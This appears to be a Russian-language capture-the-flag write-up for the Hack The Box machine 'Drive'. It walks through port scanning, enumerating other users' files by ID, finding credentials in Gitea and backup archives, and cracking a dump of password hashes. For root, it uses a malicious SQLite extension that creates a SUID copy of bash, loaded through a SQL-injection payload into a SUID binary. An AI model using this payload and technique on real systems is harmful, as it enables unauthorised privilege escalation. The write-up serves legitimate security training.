Обзор сервисов
Машине присвоен IP-адрес 10.10.11.235
. Просканируем порты с помощью nmap
:
$ nmap -sV -sC -Pn -oN nmap 10.10.11.235
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-15 04:04 EDT
Nmap scan report for 10.10.11.235
Host is up (0.059s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 27:5a:9f:db:91:c3:16:e5:7d:a6:0d:6d:cb:6b:bd:4a (RSA)
| 256 9d:07:6b:c8:47:28:0d:f2:9f:81:f2:b8:c3:a6:78:53 (ECDSA)
|_ 256 1d:30:34:9f:79:73:69:bd:f6:67:f3:34:3c:1f:f9:4e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://drive.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp filtered ppp
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.08 seconds
Веб-сервис
Для оценки веб-сервиса потребуется прописать vhost в наш /etc/hosts
:
$ sudo nano /etc/hosts
10.10.11.235 drive.htb
Сервис похож на облачное хранилище. Зарегистрируемся и залогинимся.
После логина попробуем загрузить свой тестовый файл с названием test.txt
и содержимым test
. И сразу же увидим этот файл в show My Files
. В моем случае идентификатор файла был 116
.
Мы можем зарезервировать файл, нажав на кнопку Reserve
. Это триггернет GET эндпоинт /116/block
.
Отправим этот эндпоинт в Bupr Intruder, поменяем идентификатор 116
на точку подмены. Будем перебирать от 0
до 200
. После переходим в unReserve Files
и видим чужие файлы.
Перейдем в браузере на http://drive.htb/79/block/
.
Также находим описание резервирования базы и намек на пароль к ней.
SSH
Подключимся как пользователь martin
к SSH:
Базы данных, как и было описано выше, лежат в /var/www/backup
.
martin@drive:/var/www/backups$ ls -la
total 3740
drwxr-xr-x 2 www-data www-data 4096 Sep 1 18:23 .
drwxr-xr-x 5 root root 4096 Sep 15 13:34 ..
-rw-r--r-- 1 www-data www-data 13018 Sep 1 20:00 1_Dec_db_backup.sqlite3.7z
-rw-r--r-- 1 www-data www-data 12226 Sep 1 20:00 1_Nov_db_backup.sqlite3.7z
-rw-r--r-- 1 www-data www-data 12722 Sep 1 20:00 1_Oct_db_backup.sqlite3.7z
-rw-r--r-- 1 www-data www-data 12770 Sep 1 20:00 1_Sep_db_backup.sqlite3.7z
-rwxr-xr-x 1 root root 3760128 Dec 26 2022 db.sqlite3
Еще мы видели на порту 3000
какой-то сервис, к которому не имеем доступа из внешней сети. Однако из внутренней сети мы можем до него достучаться.
$ netstat -ano | grep 3000
tcp6 0 0 :::3000 :::* LISTEN off (0.00/0/0)
Пробросим порт и обнаружим Gitea.
ssh -L 3000:127.0.0.1:3000 [email protected]
Зарегистрируем любого пользователя, залогинимся и проверим логин пользователя martin
:
[email protected]
С помощью пароля, полученного ранее, логинимся внутрь как [email protected]
.
После этого сразу же проверяем файл http://localhost:3000/crisDisel/DoodleGrive/src/branch/main/db_backup.sh
, в котором обнаруживаем пароль от резервных копий.
Распакуем все архивы и вытащим из баз данных хеши, включая текущую базу данных.
pbkdf2_sha256$390000$ZjZj164ssfwWg7UcR8q4kZ$KKbWkEQCpLzYd82QUBq65aA9j3+IkHI6KK9Ue8nZeFU=
pbkdf2_sha256$390000$npEvp7CFtZzEEVp9lqDJOO$So15//tmwvM9lEtQshaDv+mFMESNQKIKJ8vj/dP4WIo=
pbkdf2_sha256$390000$GRpDkOskh4irD53lwQmfAY$klDWUZ9G6k4KK4VJUdXqlHrSaWlRLOqxEvipIpI5NDM=
pbkdf2_sha256$390000$wWT8yUbQnRlMVJwMAVHJjW$B98WdQOfutEZ8lHUcGeo3nR326QCQjwZ9lKhfk9gtro=
pbkdf2_sha256$390000$TBrOKpDIumk7FP0m0FosWa$t2wHR09YbXbB0pKzIVIn9Y3jlI3pzH0/jjXK0RDcP6U=
sha1$ALgmoJHkrqcEDinLzpILpD$4b835a084a7c65f5fe966d522c0efcdd1d6f879f
sha1$DhWa3Bym5bj9Ig73wYZRls$3ecc0c96b090dea7dfa0684b9a1521349170fc93
sha1$E9cadw34Gx4E59Qt18NLXR$60919b923803c52057c0cdd1d58f0409e7212e9f
sha1$jzpj8fqBgy66yby2vX5XPa$52f17d6118fce501e3b60de360d4c311337836a3
sha1$kyvDtANaFByRUMNSXhjvMc$9e77fb56c31e7ff032f8deb1f0b5e8f42e9e3004
sha1$Ri2bP6RVoZD5XYGzeYWr7c$4053cb928103b6a9798b2521c4100db88969525a
sha1$Ri2bP6RVoZD5XYGzeYWr7c$71eb1093e10d8f7f4d1eb64fa604e6050f8ad141
sha1$W5IGzMqPgAUGMKXwKRmi08$030814d90a6a50ac29bb48e0954a89132302483a
PBKDF2-хеши у меня не сбрутились, однако четыре хеша SHA1 поддались (принадлежат пользователю tomHands
).
В /etc/passwd
есть пользователь tom
.
Начнем перебирать сбрученные пароли для подключения к SSH и получаем шелл.
Пользовательский флаг
Повышение привилегий
В каталоге пользователя tom
есть бинарник SUID-битом от рута.
tom@drive:~$ ls -la
...
-rwSr-x--- 1 root tom 887240 Sep 13 13:36 doodleGrive-cli
...
Декомпилируем и найдем логин и пароль, который требуется на входе.
Скачаем модуль sqlite-execute-module
(https://github.com/mpaolino/sqlite-execute-module) и подправим его:
#include <sqlite3ext.h> /* Do not use <sqlite3.h>! */
SQLITE_EXTENSION_INIT1
#include <stdlib.h>
#ifdef _WIN32
__declspec(dllexport)
#endif
int sqlite3_extension_init(
sqlite3 *db,
char **pzErrMsg,
const sqlite3_api_routines *pApi
){
SQLITE_EXTENSION_INIT2(pApi);
system("/usr/bin/cp /bin/bash /tmp/b");
system("/usr/bin/chmod +s /tmp/b");
return SQLITE_OK;
}
Для сборки применим команду make
и результирующий бинарник положим рядом с уязвимым CLI-приложением как y.so
.
Чтобы подгрузить наш модуль, нужно обойти санитизацию в функции activate_user_account
и далее в sanitize_string
.
Зайдем в бинарник, пройдем этап аутентификации, выберем 5
, затем впишем "+load_extension(char(46,47,121))--"
.
Теперь в /tmp/b
должен появиться баш.
/tmp/b -p